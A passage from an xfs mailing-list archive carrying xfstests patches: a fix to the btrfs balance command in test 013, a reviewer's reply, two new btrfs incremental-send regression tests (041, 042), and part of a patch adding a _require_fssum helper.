7620fcc..fb81663 100644 --- a/tests/btrfs/013 +++ b/tests/btrfs/013 @@ -72,7 +72,7 @@ _check_csum_error() } $XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ $SCRATCH_MNT/foo > $seqres.full 2>&1 -$BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT >> $seqres.full 2>&1 || \ +$BTRFS_UTIL_PROG filesystem balance start $SCRATCH_MNT >> $seqres.full 2>&1 || \ _fail "balance failed" _scratch_unmount _scratch_mount -- 1.8.1.4 . _______________________________________________ kernel.openeuler mailing list kernel.openeuler@huawei.com http://rnd-openeuler.huawei.com/mailman/listinfo/kernel.openeuler From wangsl.fnst@cn.fujitsu.com Mon Feb 24 05:04:29 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3004E7F52 for ; Mon, 24 Feb 2014 05:04:29 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1D0CC8F8035 for ; Mon, 24 Feb 2014 03:04:25 -0800 (PST) X-ASG-Debug-ID: 1393239862-04cbb00c2b746d70001-NocioJ Received: from song.cn.fujitsu.com (cn.fujitsu.com [222.73.24.84]) by cuda.sgi.com with ESMTP id HSwmuTzn9nfKKvdd for ; Mon, 24 Feb 2014 03:04:23 -0800 (PST) X-Barracuda-Envelope-From: wangsl.fnst@cn.fujitsu.com X-Barracuda-Apparent-Source-IP: 222.73.24.84 X-IronPort-AV: E=Sophos;i="4.97,534,1389715200"; d="scan'208";a="9593102" Received: from unknown (HELO tang.cn.fujitsu.com) ([10.167.250.3]) by song.cn.fujitsu.com with ESMTP; 24 Feb 2014 19:00:29 +0800 Received: from fnstmail02.fnst.cn.fujitsu.com (tang.cn.fujitsu.com [127.0.0.1]) by tang.cn.fujitsu.com (8.14.3/8.13.1) with ESMTP id s1OB4Ks0019432; Mon, 24 Feb 2014 19:04:20 +0800 Received: from [10.167.226.104] ([10.167.226.104]) by fnstmail02.fnst.cn.fujitsu.com (Lotus Domino Release 8.5.3) with ESMTP id 2014022419020260-168947 ; Mon, 24 Feb 2014 19:02:02 +0800 Message-ID: <530B26C9.9060606@cn.fujitsu.com> Date: Mon, 24 Feb 2014 19:02:33 +0800 From: Wang Shilong User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130612 Thunderbird/17.0.6 MIME-Version: 1.0 To: ZhangZhen CC: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work References: <530AF3E3.9060202@huawei.com> <530B2418.20905@huawei.com> X-ASG-Orig-Subj: Re: [PATCH for xfstests] xfstests: fix to make tests/btrfs/013 really work In-Reply-To: <530B2418.20905@huawei.com> X-MIMETrack: Itemize by SMTP Server on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/24 19:02:02, Serialize by Router on mailserver/fnst(Release 8.5.3|September 15, 2011) at 2014/02/24 19:02:03, Serialize complete at 2014/02/24 19:02:03 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=ISO-8859-1; format=flowed X-Barracuda-Connect: cn.fujitsu.com[222.73.24.84] X-Barracuda-Start-Time: 1393239862 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145457 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Zhang, On 02/24/2014 06:51 PM, ZhangZhen wrote: > The test 013 couldn't work because here lacked "start". > This patch fix it. > > Signed-off-by: Zhang Zhen > --- > tests/btrfs/013 | 2 +- > 1 file changed, 1 insertion(+), 1 deletion(-) > > diff --git a/tests/btrfs/013 b/tests/btrfs/013 > index 7620fcc..fb81663 100644 > --- a/tests/btrfs/013 > +++ b/tests/btrfs/013 > @@ -72,7 +72,7 @@ _check_csum_error() > } > $XFS_IO_PROG -f -c "falloc 0 1M" -c "pwrite 16k 8k" -c "fsync" \ > $SCRATCH_MNT/foo > $seqres.full 2>&1 > -$BTRFS_UTIL_PROG filesystem balance $SCRATCH_MNT >> $seqres.full 2>&1 || \ > +$BTRFS_UTIL_PROG filesystem balance start $SCRATCH_MNT >> $seqres.full 2>&1 || \ > _fail "balance failed" Due to historical reasons, we have 'btrfs file balance <>'.. Until now, it is also ok to run 'btrfs file balance ', and it has equal effect as 'btrfs filesystem balance start'. Anyway, using latest 'btrfs file balance start ' is better than previous codes..but patch's title is not right any more... BTW,Dave Chinner previously pointed out that we need a cleanup, url can be seen: http://oss.sgi.com/archives/xfs/2014-02/msg00482.html Thanks, Wang > _scratch_unmount > _scratch_mount From fdmanana@gmail.com Mon Feb 24 05:54:57 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 210047F52 for ; Mon, 24 Feb 2014 05:54:57 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E54F38F804B for ; Mon, 24 Feb 2014 03:54:56 -0800 (PST) X-ASG-Debug-ID: 1393242890-04bdf00fc033acd0001-NocioJ Received: from mail-wg0-f53.google.com (mail-wg0-f53.google.com [74.125.82.53]) by cuda.sgi.com with ESMTP id AbxnkpulkJBAMSRE (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 03:54:51 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.53 Received: by mail-wg0-f53.google.com with SMTP id x12so4599122wgg.20 for ; Mon, 24 Feb 2014 03:54:50 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=k8b4GPcKw54t7amtpLP5Xm1SDVe0f3+D9xvHN7lGt5U=; b=xBhTKF5CltvKdNFgwRA3Ty9Q3IK+IDeo7hgKDvx8mU3T9VLfMryvj79eKjJ66rTbYX lf+KjgvjdoaZHczVD+oLg1eHZCRCznKyhh8JvxP+ax3aGA3upmvqjUoLYjAeACNF7VMP U2ItjJ058kms81a0Viza/gHb37yOCIIn8pqfBamb+z8cPItNvB2Tj1qLaBn8Vw80v7/y 40gkKGaEJbbaZNH9iSARH+J5rH+BNMd37LNSirltiz3OkNJxWls/8bDmg1nfRpEmqcw4 67w45eaUOfU0cBx9ZR+uDz7x+Epoaz387xF9JcK5QbecWomm+CSGVSfyF7fJcCi+oCyr xPAw== X-Received: by 10.180.73.19 with SMTP id h19mr14135632wiv.40.1393242890214; Mon, 24 Feb 2014 03:54:50 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id ux5sm41525169wjc.6.2014.02.24.03.54.49 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Feb 2014 03:54:49 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs send issuing premature rmdir operations Date: Mon, 24 Feb 2014 11:54:38 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs send issuing premature rmdir operations Message-Id: <1393242878-16039-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> References: <1392820352-8550-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f53.google.com[74.125.82.53] X-Barracuda-Start-Time: 1393242891 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for btrfs incremental send issue where a rmdir instruction is sent against an orphan directory inode which is not empty yet, causing btrfs receive to fail when it attempts to remove the directory. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send attempting to rmdir non-empty directories Signed-off-by: Filipe David Borba Manana --- V2: Some cleanup as suggested by Dave Chinner. Use _check_scratch_fs() and removed redundant stderr redirection when calling fssum via run_check. tests/btrfs/041 | 152 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/041.out | 1 + tests/btrfs/group | 1 + 3 files changed, 154 insertions(+) create mode 100755 tests/btrfs/041 create mode 100644 tests/btrfs/041.out diff --git a/tests/btrfs/041 b/tests/btrfs/041 new file mode 100755 index 0000000..bfc0e4b --- /dev/null +++ b/tests/btrfs/041 @@ -0,0 +1,152 @@ +#! /bin/bash +# FS QA Test No. btrfs/041 +# +# Regression test for btrfs incremental send issue where a rmdir instruction +# is sent against an orphan directory inode which is not empty yet, causing +# btrfs receive to fail when it attempts to remove the directory. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send attempting to rmdir non-empty directories +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/0 +mkdir $SCRATCH_MNT/1 +mkdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/0 $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/1 $SCRATCH_MNT/a/b/c +echo 'ola mundo' > $SCRATCH_MNT/a/b/c/foo.txt +mkdir $SCRATCH_MNT/a/b/c/x +mkdir $SCRATCH_MNT/a/b/c/x2 +mkdir $SCRATCH_MNT/a/b/y +mkdir $SCRATCH_MNT/a/b/z +mkdir -p $SCRATCH_MNT/a/b/d1/d2/d3 +mkdir $SCRATCH_MNT/a/b/d4 + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 261) +# | |-- foo.txt (ino 262) +# | |-- 0/ (ino 259) +# | |-- 1/ (ino 260) +# | |-- x/ (ino 263) +# | |-- x2/ (ino 264) +# | +# |-- y/ (ino 265) +# |-- z/ (ino 266) +# |-- d1/ (ino 267) +# | |-- d2/ (ino 268) +# | |-- d3/ (ino 269) +# | +# |-- d4/ (ino 270) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +rm -f $SCRATCH_MNT/a/b/c/foo.txt +mv $SCRATCH_MNT/a/b/y $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/z $SCRATCH_MNT/a +mv $SCRATCH_MNT/a/b/c/x $SCRATCH_MNT/a/b/YY +mv $SCRATCH_MNT/a/b/c/0 $SCRATCH_MNT/a/b/YY/00 +mv $SCRATCH_MNT/a/b/c/x2 $SCRATCH_MNT/a/z/X_2 +mv $SCRATCH_MNT/a/b/c/1 $SCRATCH_MNT/a/z/X_2 +rmdir $SCRATCH_MNT/a/b/c +mv $SCRATCH_MNT/a/b/d4 $SCRATCH_MNT/a/d44 +mv $SCRATCH_MNT/a/b/d1/d2 $SCRATCH_MNT/a/d44 +rmdir $SCRATCH_MNT/a/b/d1 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# | |-- YY/ (ino 265) +# | |-- x/ (ino 263) +# | |-- 00/ (ino 259) +# | +# |-- z/ (ino 266) +# | |-- X_2/ (ino 264) +# | |-- 1/ (ino 260) +# | +# |-- d44/ (ino 270) +# |-- d2/ (ino 268) +# |-- d3/ (ino 269) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/041.out b/tests/btrfs/041.out new file mode 100644 index 0000000..309876c --- /dev/null +++ b/tests/btrfs/041.out @@ -0,0 +1 @@ +QA output created by 041 diff --git a/tests/btrfs/group b/tests/btrfs/group index f5452b5..fd0193c 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -43,3 +43,4 @@ 038 auto quick 039 auto quick 040 auto quick +041 auto quick -- 1.7.9.5 From fdmanana@gmail.com Mon Feb 24 05:55:35 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 275F87F52 for ; Mon, 24 Feb 2014 05:55:35 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 060BF304059 for ; Mon, 24 Feb 2014 03:55:34 -0800 (PST) X-ASG-Debug-ID: 1393242932-04cbb00c2874a710001-NocioJ Received: from mail-wi0-f174.google.com (mail-wi0-f174.google.com [209.85.212.174]) by cuda.sgi.com with ESMTP id yVxEai6EqpJd2wHf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 03:55:33 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.174 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] Received: by mail-wi0-f174.google.com with SMTP id f8so2946770wiw.7 for ; Mon, 24 Feb 2014 03:55:32 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.174] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=0TexYL8QbFAWh8KzypwERFhDsUBjDabp/Iu8wbDk3QI=; b=R99PvGsX+DNg3qmoVL7ug1XVuTJPevedWvnh81+kw469gjRRkqnrSE4t3PYHf7Fk0b QIRVrBFmXEELXe4GGsAxNze/s9/AmszoR4wOpwkFuCO5RQYJOdTPJ8r/v3Rf3ftmbvV9 /6kkCzQKpSSbJmDvF/dQJcfW3HB8U5yxjE/rV/f9dVqDdeFnYhkh0fHF0oD+FyuIrl5i mDnRxp7+p/ypIIjLVPl4ruwy9/YxZb14ntXZZIdxTLpTlJh998n7CtpfodptWbM+a7us C77xmACNvp3NHKo1H13uBOuT+5wnPSMm8/rqVQfJeCc5s7Lmril/p0XNbKLS5m4ff9tl AiZA== X-Received: by 10.180.188.229 with SMTP id gd5mr13794446wic.54.1393242932380; Mon, 24 Feb 2014 03:55:32 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id ff9sm23586243wib.11.2014.02.24.03.55.31 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Feb 2014 03:55:31 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test btrfs/042 for btrfs incremental send Date: Mon, 24 Feb 2014 11:55:25 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test btrfs/042 for btrfs incremental send Message-Id: <1393242925-16087-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> References: <1392940976-1790-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wi0-f174.google.com[209.85.212.174] X-Barracuda-Start-Time: 1393242933 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Regression test for a btrfs incremental send issue where invalid paths for utimes, chown and chmod operations were sent to the send stream, causing btrfs receive to fail. If a directory had a move/rename operation delayed, and none of its parent directories, except for the immediate one, had delayed move/rename operations, after processing the directory's references, the incremental send code would issue invalid paths for utimes, chown and chmod operations. This issue is fixed by the following linux kernel btrfs patch: Btrfs: fix send issuing outdated paths for utimes, chown and chmod Signed-off-by: Filipe David Borba Manana --- V2: Some cleanup as suggested by Dave Chinner. Use _check_scratch_fs() and removed redundant stderr redirection when calling fssum via run_check. tests/btrfs/042 | 132 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/042.out | 1 + tests/btrfs/group | 1 + 3 files changed, 134 insertions(+) create mode 100755 tests/btrfs/042 create mode 100644 tests/btrfs/042.out diff --git a/tests/btrfs/042 b/tests/btrfs/042 new file mode 100755 index 0000000..2bd5147 --- /dev/null +++ b/tests/btrfs/042 @@ -0,0 +1,132 @@ +#! /bin/bash +# FS QA Test No. btrfs/042 +# +# Regression test for a btrfs incremental send issue where under certain +# scenarios invalid paths for utimes, chown and chmod operations were sent +# to the send stream, causing btrfs receive to fail. +# +# If a directory had a move/rename operation delayed, and none of its parent +# directories, except for the immediate one, had delayed move/rename operations, +# after processing the directory's references, the incremental send code would +# issue invalid paths for utimes, chown and chmod operations. +# +# This issue is fixed by the following linux kernel btrfs patch: +# +# Btrfs: fix send issuing outdated paths for utimes, chown and chmod +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +FSSUM_PROG=$here/src/fssum +[ -x $FSSUM_PROG ] || _notrun "fssum not built" + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +umask 0 +mkdir -p $SCRATCH_MNT/a/b/c/d/e +mkdir $SCRATCH_MNT/a/b/c/f +echo 'ola ' > $SCRATCH_MNT/a/b/c/d/e/file.txt +chmod 0777 $SCRATCH_MNT/a/b/c/d/e + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c/ (ino 259) +# |-- d/ (ino 260) +# | |-- e/ (ino 261) +# | |-- file.txt (ino 262) +# | +# |-- f/ (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +echo 'mundo' >> $SCRATCH_MNT/a/b/c/d/e/file.txt +mv $SCRATCH_MNT/a/b/c/d/e/file.txt $SCRATCH_MNT/a/b/c/d/e/file2.txt +mv $SCRATCH_MNT/a/b/c/f $SCRATCH_MNT/a/b/f2 +mv $SCRATCH_MNT/a/b/c/d/e $SCRATCH_MNT/a/b/f2/e2 +mv $SCRATCH_MNT/a/b/c $SCRATCH_MNT/a/b/c2 +mv $SCRATCH_MNT/a/b/c2/d $SCRATCH_MNT/a/b/c2/d2 +chmod 0700 $SCRATCH_MNT/a/b/f2/e2 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# |-- b/ (ino 258) +# |-- c2/ (ino 259) +# | |-- d2/ (ino 260) +# | +# |-- f2/ (ino 263) +# |-- e2 (ino 261) +# |-- file2.txt (ino 263) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/042.out b/tests/btrfs/042.out new file mode 100644 index 0000000..b403295 --- /dev/null +++ b/tests/btrfs/042.out @@ -0,0 +1 @@ +QA output created by 042 diff --git a/tests/btrfs/group b/tests/btrfs/group index fd0193c..1037761 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -44,3 +44,4 @@ 039 auto quick 040 auto quick 041 auto quick +042 auto quick -- 1.7.9.5 From fdmanana@gmail.com Mon Feb 24 05:56:36 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E196A7F52 for ; Mon, 24 Feb 2014 05:56:36 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B221E304053 for ; Mon, 24 Feb 2014 03:56:36 -0800 (PST) X-ASG-Debug-ID: 1393242993-04bdf00fc933aeb0001-NocioJ Received: from mail-wi0-f175.google.com (mail-wi0-f175.google.com [209.85.212.175]) by cuda.sgi.com with ESMTP id cLwvBiVfwvVeTAKH (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 03:56:34 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.175 X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.175] Received: by mail-wi0-f175.google.com with SMTP id hm4so2946505wib.2 for ; Mon, 24 Feb 2014 03:56:33 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.175] X-Barracuda-IPDD: Level1 [gmail.com/209.85.212.175] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=RhZXOq2PayaVkgs8cjI/uMmMAtDqyBPKYOuT2g/OqB4=; b=XhqHTfHKbVKZRXQauB3RIp/zOpPBnaTcAsSO6jy/BBlMpQdtTv7ATH1eDvcNNLhTyC vsm62CXGbYdagiIepTFyJpYjJB3gjApS9gcS8QLoBkQB8YCkqDEZfpx4VmG1zD0Twir7 CbbgFpndc5opB/QOkoPZKMQpc05HPcAsLfnzYE7EXgfPyt9nb9eXVyiEfwZ8J19gfqYE cNvNXWjvrCQqoALVbqfCnpme5Y/m12nhHsVuk2//Z6T7D1WsvoBEg1L/EbYxPMiDz3ul zjViidDsXexfwC8Hmv9f12YVfZ/G9E5KMZOxVQzblUn3L6XBwsk2xsuvb4aJCk9Ef3x9 FKZw== X-Received: by 10.194.104.39 with SMTP id gb7mr18354530wjb.69.1393242992963; Mon, 24 Feb 2014 03:56:32 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id r3sm10338101wjw.0.2014.02.24.03.56.31 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 24 Feb 2014 03:56:32 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: david@fromorbit.com, linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH] xfstests: add function _require_fssum() Date: Mon, 24 Feb 2014 11:56:23 +0000 X-ASG-Orig-Subj: [PATCH] xfstests: add function _require_fssum() Message-Id: <1393242983-16149-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 X-Barracuda-Connect: mail-wi0-f175.google.com[209.85.212.175] X-Barracuda-Start-Time: 1393242994 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145458 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature To avoid repeating detection of fssum presence in many btrfs tests, as suggested by Dave Chinner. Signed-off-by: Filipe David Borba Manana --- common/rc | 7 +++++++ tests/btrfs/007 | 5 +---- tests/btrfs/016 | 5 +---- tests/btrfs/030 | 5 +---- tests/btrfs/038 | 5 +---- tests/btrfs/039 | 5 